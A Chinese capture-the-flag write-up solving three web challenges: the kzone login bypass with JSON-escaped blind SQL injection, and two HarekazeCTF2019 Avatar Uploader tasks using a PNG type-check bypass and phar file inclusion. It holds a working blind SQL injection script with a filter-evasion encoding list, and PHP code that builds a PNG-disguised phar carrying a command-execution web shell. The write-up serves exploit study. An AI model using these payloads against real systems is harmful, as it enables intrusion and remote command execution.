BUUOJ刷题_1

记录buuoj刷题

kzone

考点:代码审计、sql注入、json编码绕过

访问链接会跳转到qq空间登录页面,用dirsearch可以爆破到www.zip文件泄露,下载代码进行审计,审计代码大致流程,可以发现included/member.php中存在一处弱类型比较

image-20200207143054839

如果想要利用,直接访问/include/member.php是不可以的,必须是从/include/common.php中包含进来,因为要满足

1
if (!defined('IN_CRONLITE')) exit();

可以看到在/admin/index.php

image-20200207143458244

所以可以访问admin/index.php,利用弱类型比较绕过,

image-20200207143759508

分析程序逻辑还可以用另一个方法绕过,输入一个不存在的admin_user,那么查询出来的密码就为空,同时LOGINKEY可以在源码中找到,

image-20200207144337743

之后找注入点,源码对GET、POST、COOKIE、XFF都进行了过滤,不能注入。但在member.php

image-20200207144631042

对cookie先进行过滤再json解码,所以可以通过编码绕过过滤。尝试使用sqlmap编写tamper但是没有成功。

1
2
3
4
5
6
7
8
9
10
11
12
payload = payload.replace('u', 'u0075')
payload = payload.replace('o', 'u006f')
payload = payload.replace('i', 'u0069')
payload = payload.replace("'", 'u0027')
payload = payload.replace('"', 'u0022')
payload = payload.replace(' ', 'u0020')
payload = payload.replace('s', 'u0073')
payload = payload.replace('#', 'u0023')
payload = payload.replace('>', 'u003e')
payload = payload.replace('<', 'u003c')
payload = payload.replace('-', 'u002d')
payload = payload.replace('=', 'u003d')

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
url="http://fab3873f-f34d-4468-b1d1-df9c59fd565a.node3.buuoj.cn/admin/"
flag=""
proxies = {
"http": "http://127.0.0.1:8080",
}
for i in range(1,100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#payload="(asci\\u0069(m\\u0069d((\\u0073elect\\u0020group_concat(column_NAME)\\u0020from\\u0020inf\\u006frmation_schema.columnS\\u0020where\\u0020table_name\\u003d\\u0022fl2222g\\u0022),{},1))\\u003e{})"
payload="(asci\\u0069(m\\u0069d((\\u0073elect\\u0020f44ag\\u0020from\\u0020fl2222g),{},1))\\u003e{})"
data='{"admin_user":"1\\u0027\\u0020\\u006fr\\u0020'+payload.format(i,mid)+'\\u0023","admin_pass":48}'
cookie={"islogin":'1', "login_data":data}
print(cookie)
r=requests.post(url,cookies=cookie)#,proxies=proxies)
#print(r.content)
if b"window.location" not in r.content:
low=mid+1
else:
high=mid
mid=(low+high)//2
flag+=chr(mid)
print(flag)
#fish_admin,fish_ip,fish_user,fl2222g
#f44ag

[HarekazeCTF2019]Avatar Uploader 1

考点:代码审计、文件上传类型判断缺陷

题目给了源码,是一个文件上传类型题,可以在upload.php中看到

image-20200208085525331

源码中先对文件大小进行判断,然后对文件类型进行了两次判断,第一次是用finfo_file(),限制文件类型必须为image/png。然后又用getimagesize()判断,如果文件类型不为IMAGETYPE_PNG,得到flag。

1
2
3
4
5
6
<?php
$file = finfo_open(FILEINFO_MIME_TYPE);
var_dump(finfo_file($file, "hazectf.png"));//string(9) "image/png"
finfo_close($file);
$f = getimagesize("hazectf.png");
var_dump(getimagesize("hazectf.png"));//bool(false)

image-20200208093107918

对上面的图片

  • finfo_file:判断类型为imge/png
  • getimagesize:不能判断

所以可以绕过判断得到flag

image-20200208093301821

[HarekazeCTF2019]Avatar Uploader 2

考点:代码审计、文件包含

源码和上一题的源码一样,第一个flag在文件上传出,第二个flag考点在文件包含。审计源码,在index.php中存在include()

image-20200208093734088

尽管include()限制了后缀,但我们可以利用phar来解决。接下来理清代码执行流程,重点是源码对session的操作。题目给了提示:password_hash()函数。

image-20200208094051650

这个函数在password参数超过72后,即使72位后面的字符不相同,也返回相同的散列后的密码。接下来看一下源码的session处理机制。

image-20200208094857822

在index.php中会new一个session,然后执行SecureClientSession类的析构函数,将session认证后,解码后赋值给$data。我们需要伪造session值,使它能够经过认证而且能够在$data中增加theme变量。然后发现

image-20200208100257577

image-20200208100344663

所以在上传文件后未经过重定向的session的值为

eyJuYW1lIjoidHR0dHQiLCJhdmF0YXIiOiIyN2E5NDU4Yi5wbmciLCJmbGFzaCI6eyJ0eXBlIjoiaW5mbyIsIm1lc3N

hZ2UiOiJZb3VyIGF2YXRhciBoYXMgYmVlbiBzdWNjZXNzZnVsbHkgdXBkYXRlZCEifX0.JDJ5JDEwJEM0c3F4W

WQ0QlNFaUExZkZCb0t3NGU4eGlXL0NYdk8yZnJUT1UzWUZXd2lRZktwdlJnaU8y

$datajson编码后为{"name":"ttttt","avatar":"27a9458b.png","flash{"type":"info","message":"Your avatar has been successfully updated!"}}

长度明显超过72,然后在session中添加theme达到效果。

解题步骤
  1. 生成phar文件

    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    //89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
    $png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
    $phar = new Phar('exp.phar');
    $phar->startBuffering();
    $phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
    $phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
    $phar->stopBuffering();
  2. 上传文件修改session

    image-20200208101116758

    image-20200208101508941

  3. 执行命令

    image-20200208101915660

ref:2019 HarekazeCTF-Web部分复现WriteUp